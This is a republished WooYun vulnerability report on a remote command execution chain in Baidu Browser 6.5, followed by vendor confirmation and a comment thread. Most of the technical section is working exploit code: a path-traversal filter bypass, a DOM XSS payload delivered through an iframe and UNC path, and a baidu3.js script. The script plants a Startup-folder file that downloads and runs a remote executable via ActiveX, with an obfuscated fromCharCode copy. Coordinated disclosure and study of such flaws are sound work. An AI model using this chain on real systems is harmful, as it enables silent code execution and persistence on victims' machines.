百度浏览器远程命令执行三

admin 2015年7月20日12:02:57评论316 views字数 210阅读0分42秒阅读模式
摘要

2014-10-26: 细节已通知厂商并且等待厂商处理中
2014-10-27: 厂商已经确认,细节仅向厂商公开
2014-10-30: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-12-21: 细节向核心白帽子及相关领域专家公开
2014-12-31: 细节向普通白帽子公开
2015-01-10: 细节向实习白帽子公开
2015-01-24: 细节向公众公开

漏洞概要 关注数(58) 关注此漏洞

缺陷编号: WooYun-2014-80910

漏洞标题: 百度浏览器远程命令执行三 百度浏览器远程命令执行三

相关厂商: 百度

漏洞作者: gainover百度浏览器远程命令执行三

提交时间: 2014-10-26 22:01

公开时间: 2015-01-24 22:02

漏洞类型: 远程代码执行

危害等级: 高

自评Rank: 19

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 远程代码执行 浏览器漏洞利用技巧

8人收藏


漏洞详情

披露状态:

2014-10-26: 细节已通知厂商并且等待厂商处理中
2014-10-27: 厂商已经确认,细节仅向厂商公开
2014-10-30: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-21: 细节向核心白帽子及相关领域专家公开
2014-12-31: 细节向普通白帽子公开
2015-01-10: 细节向实习白帽子公开
2015-01-24: 细节向公众公开

简要描述:

啊啊啊,我已经被榨干了,百度,快放开我, 我再也不敢要20了。。

发现浏览器有更新了,就更新到最新版了(6.5.0.50449),看了下,某API做了限制,但是研究了一下发现还是可以被奇葩的绕过哇,继续结合某XSS,依然可以在用户采用默认安装的情况下导致命令执行。

详细说明:

1. 更新到最新版,发现之前的漏洞已经被修补,于是将bdbrowser.skin.download API进行重试了测试一下,

发现做了以下更改:

code 区域
A. 当使用 ../../../../../cmd.exe 这种方式来对写入路径往上级目录跳转时,发现对方仅会取值cmd.exe,也就是说../../../全部被忽略掉了。
B. 对于下载皮肤的来源进行了过滤,仅允许来自 **.**.**.**下的资源文件。

2. 随后,我对每个参数的过滤方式进行了猜测式的尝试绕过,发现:

code 区域
A. ../../../ 的方式会被过滤,但是 ..//..//..// 的方式却不会被过滤,这样一来,我们依然可以向上级目录写入内容
B. 限制下载资源来源为**.**.**.**的方式太过于宽松,依然结合一些 **.**.**.**下的资源接口,比如jsonp接口,来实现执行本地命令。

3. 从上面我们不难看出,只要我们再次可以调用特权API,我们又可以导致命令执行了。

4. 由于利用blob/filesystem协议绕过的方式已经被修补,但file域依然是具有权限的。 此前,我对百度浏览器目录下的htm类资源进行过审查,发现在百度浏览器的安装目录下的:

安装目录/resource/extension/security/safe_default.html

安装目录/resource/extension/security/safe_service.html

均存在DOM XSS代码,缺陷代码比较明显:

code 区域
var obj = queryHash(decodeURIComponent(location.hash).replace("#", ""));
document.getElementById("name").innerHTML = obj.name;
document.getElementById("path").innerHTML = obj.path;

但由于queryHash中获取参数时以“=”号分隔,使得我们的利用代码里不能具有等号,不需要等号的XSS向量,只有<script>alert(1)</script>,然而大家都知道, xx.innerHTML="<script></script>" 并不会去执行script标签内的脚本。只有在IE浏览器下,使用1<script/defer></script>才能使得脚本被执行。

5. 因此,我们又要利用 《百度浏览器远程命令执行》中 ftp强制使用IE内核的方法。然而,该html文件在本地域,我们想要使用<iframe src="file://..../resource/extension/security/safe_service.html"></iframe>的方式直接去访问该缺陷html是不行的。不过庆幸的是,由于是IE内核,我们可以通过UNC path来实现访问本地html的目的,该方法在《搜狗浏览器任意文件读取漏洞 》(http://**.**.**.**/bugs/wooyun-2010-028832)同样被使用过。

我们可以据此来构造利用代码:

code 区域
<iframe style="width:1px; height:1px;" src='//**.**.**.**/C$/Program Files/baidu/baiduBrowser/resource/extension/security/safe_default.html#path=aa<script/defer>eval(window.name);</script>' name='var s=document.createElement("script");s.src="**.**.**.**/test/baidu3.js?"+Math.random();document.body.appendChild(s);'></iframe>

利用代码会通过 safe_default.html的DOM XSS实现调用baidu3.js

6.baidu3.js总体上和《百度浏览器远程命令执行二 - 绕过特权域限制 》中的命令执行代码相类似,以下是几个不同的点:

code 区域
A.  JSON.parse 被改用为 eval("("+data+")") 的方式以支持低版本IE核。
B. bdbrowser.skin.download 的写入地址,采用 ..//..//..//..//启动目录//test.js 的方式绕过对../../的过滤,向启动目录中写入test.js
C. 使用随便找的一个 **.**.**.** 下的jsonp接口,将callback回调函数名称替换为我们要执行的恶意JS代码内容。

7. 第6步中所述的JSONP构造如下:

A. 首先写一个下载计算器并执行的JS代码

code 区域
var x=new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET","**.**.**.**/calc.exe",false);
x.send();
var s=new ActiveXObject("ADODB.Stream");
s.Mode=3;
s.Type=1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("calc.exe");
var y=new ActiveXObject("WScript.Shell");
y.run("calc.exe");

B. 然后转换成只有括号的形式(http://**.**.**.**/app/enter?appid=280383):

code 区域
eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59))

C. 放入JSONP的callback参数中。

http://**.**.**.**/interface/lib.get_app_list_new?client=browser&cid=&count=36&page=1&callback=eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59));void

D. 将上面地址作为 bdbrowser.skin.download 函数的下载资源来源地址。

8. 其它代码,比如获取用户目录同上一篇文章,当用户访问我们恶意构造的网页后,JSONP页面的内容将被保存到启动目录下,名字为test.js, 用户下次开机启动后,test.js将会被执行,并远程下载calc.exe,然后执行calc.exe

百度浏览器远程命令执行三

9. 修改后的利用代码baidu3.js 如下:

code 区域
function getInstallList(id,list){
var result=eval("("+list+")");
var apps=result.content.ItemList;
var deleteID="";
for(var i=apps.length-1;i>=0;i--){
if(//w{32}/.test(apps[i]["ID"])){
deleteID=apps[i]["ID"];
break;
}
}
//alert("deleteID:"+deleteID);
if(!deleteID){
//不存在自安装插件,通过安装法来获得user
window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","getUser","{/"ID/":/"eococdloljmhdpnihekiiohodgcgjigh/",/"URL/":/"http://**.**.**.**/49411271abae81764cf268983c95d9d7.crx/",/"UPDATE/":/"false/"}",window,"");
}else{
//通过删除插件法来实现静默执行
window.external.StartRequest(222,"AppService.AppMarket.DeleteExt","getUser","{/"ID/":/""+deleteID+"/"}",window,"");
}
}
function getUser(id,res){
var isWin7=/NT/s+6/.test(navigator.userAgent);
var user=isWin7?(res.match(/[A-Z]:[//////]+Users[//////]+([^////]+)[//////]+AppData/)||["",""])[1]:(res.match(/[A-Z]:[//////]+(Documents and Settings|DOCUME~1)[//////]+([^////]+)[//////]+/)||["",""])[2];
generateCMD(user);
}
function main(){
window.external.StartRequest(222,"AppService.AppMarket.GetInstalledList","getInstallList","{/"RequireDetail/":/"1/",/"RequirePermission/":/"1/"}",window,"");
}
function generateCMD(user){
//alert("Current User:"+user+"/n");
var isWin7=/NT/s+6/.test(navigator.userAgent);
var win7="Users//"+user+"//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//test.js";
var xp="Documents and Settings//"+user+"//「开始」菜单//程序//启动//test.js";
//alert("1//..//..//..//..//..//..//..//..//..//..//..//..//..//"+(isWin7?win7:xp)+"/"");
window.external.StartRequest(1,"bdbrowser.skin.download","(function(id,res){console.log(res)})","{/"name/":/"1//..//..//..//..//..//..//..//..//..//..//..//..//..//"+(isWin7?win7:xp)+"/",/"url/":/"http://**.**.**.**/interface/lib.get_app_list_new?client=browser&cid=&count=36&page=1&callback=eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59));void/"}",window,"")
}
try{main();}catch(e){};

漏洞证明:

用户采用默认安装的情况下将会导致远程命令执行。

效果见视频:

http://**.**.**.**/v_show/id_XODExNzQxODky.html?tpa=dW5pb25faWQ9MjAwMDA4XzEwMDAwM18wMV8wMQ

密码:wooyuncmd

修复方案:

1. 对bdbrowser.skin.download的写入路径,在判断上考虑得更为全面一些? 对资源来源域名,限制到**.**.**.**下太为宽松,全部子域名下的可能性存在太多。个人觉得最好的办法是,提供一个或者一批固定的资源域名,并保证该域名下的资源用户不可控。

2. 修复本地两个文件的DOM XSS漏洞,当然能把iframe访问unc path这个做了限制更好。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-10-27 10:34

厂商回复:

感谢提交,已通知业务部门处理。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

  1. 2014-10-26 22:02 | ′ 雨。 百度浏览器远程命令执行三 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)

    2

    这次该20rank了

  2. 2014-10-26 22:05 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )

    0

    关注下最终rank

  3. 2014-10-26 22:05 | fuckadmin ( 普通白帽子 | Rank:662 漏洞数:92 | 千里之堤溃于蚁穴)

    0

    不给20,岂会善罢甘休~

  4. 2014-10-26 22:07 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

    0

    有点吊、

  5. 2014-10-26 22:10 | 安然意境 ( 普通白帽子 | Rank:194 漏洞数:83 | 暗室中很难找到黑猫,尤其当里面根本没猫的...)

    0

    关注是否19rank

  6. 2014-10-26 22:14 | 贫道来自河北 ( 普通白帽子 | Rank:1469 漏洞数:439 | 一个立志要把乌云集市变成零食店的男人)

    0

    目测,还是没有20rank

  7. 2014-10-26 22:16 | YY-2012 ( 核心白帽子 | Rank:3861 漏洞数:736 | 意淫,是《红楼梦》原创的词汇,但后来演变...)

    0

    19.5

  8. 2014-10-26 22:17 | diguoji ( 普通白帽子 | Rank:485 漏洞数:120 | 中国吉林长春,高考230分,现在家里务农。)

    0

    最近大牛们都个发奇招,貌似有大动作,

  9. 2014-10-26 22:17 | 老笨蛋 ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)

    0

    一哥怎么可能会精尽人亡?

  10. 2014-10-26 22:18 | 子非海绵宝宝 百度浏览器远程命令执行三 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

    0

    目测已成人干

  11. 2014-10-26 22:19 | 孤独雪狼 百度浏览器远程命令执行三 ( 普通白帽子 | Rank:761 漏洞数:159 | 七夕手机被偷,这坑爹的七夕啊 。。。。)

    0

    二哥 让百度送个萌猫好了

  12. 2014-10-26 22:39 | 卡卡 ( 普通白帽子 | Rank:468 漏洞数:57 | <script>alert('安全团队长期招人')</scrip...)

    0

    二哥认真了,另外,我请你吃肯德基可好?

  13. 2014-10-26 22:41 | fuckadmin ( 普通白帽子 | Rank:662 漏洞数:92 | 千里之堤溃于蚁穴)

    1

    @卡卡 如去肯德二字,甚好。

  14. 2014-10-26 23:21 | 大亮 ( 普通白帽子 | Rank:386 漏洞数:73 | 小段子手)

    0

    标记一下,就像看看百度到底给多少rank

  15. 2014-10-26 23:37 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    0

    18、19按照这个规律,这次应该20了

  16. 2014-10-27 08:31 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了,跪着也要...)

    0

    第三波

  17. 2014-10-27 08:49 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    0

    万一这次是17呢=、=

  18. 2014-10-27 09:28 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    0

    bypass, see see

  19. 2014-10-27 09:29 | C木苦咖啡 ( 路人 | Rank:26 漏洞数:7 | 纯属娱乐)

    0

    这是不给20,誓不罢休的节奏!

  20. 2014-10-27 09:40 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999 ...)

    0

    二哥你这么屌不带我真的好么。。。

  21. 2014-10-27 10:38 | px1624 ( 普通白帽子 | Rank:1171 漏洞数:207 | px1624)

    0

    @gainover 终于20了,哈哈

  22. 2014-10-27 10:54 | 子非海绵宝宝 百度浏览器远程命令执行三 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

    0

    哈哈 百度终于放过你了...

  23. 2014-10-27 21:51 | Woodee ( 路人 | 还没有发布任何漏洞 | 乌云路人甲,打脸pa pa pa)

    0

    20,好鸡冻!

  24. 2014-10-28 09:21 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    0

    这个秋天突然想留下来

  25. 2014-10-28 17:07 | VinGogh ( 路人 | Rank:28 漏洞数:7 | G.X.)

    0

    百度的意思是:二哥,你够了昂

  26. 2014-10-30 19:38 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 冬眠者)

    0

    终于公德圆满了 向大神庆祝下

  27. 2014-10-30 19:48 | abaddon ( 实习白帽子 | Rank:37 漏洞数:10 | 冬眠者)

    0

    发现浏览器有更新了,就更新到最新版了(6.5.0.50449),看了下,某API做了限制,但是研究了一下发现还是可以被奇葩的绕过哇,继续结合某XSS,依然可以在用户采用默认安装的情况下导致命令执行。 虽然 gainover 的技术无法学来 但是好像朦胧中勾画出各轮廓

  28. 2014-11-17 09:44 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

    1

    为何还是那么牛逼啊

  29. 2015-01-24 23:59 | Ztz ( 普通白帽子 | Rank:171 漏洞数:44 | 黄金守门员)

    0

    下次要21了

  30. 2015-01-25 03:33 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)

    0

    分析的好透彻,,,,,,,,我居然看完了

  31. 2015-02-11 16:08 | 90Snake ( 普通白帽子 | Rank:167 漏洞数:53 | 人如果没有梦想,跟咸鱼有什么分别)

    0

    18、19、20有本事下一个给21

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin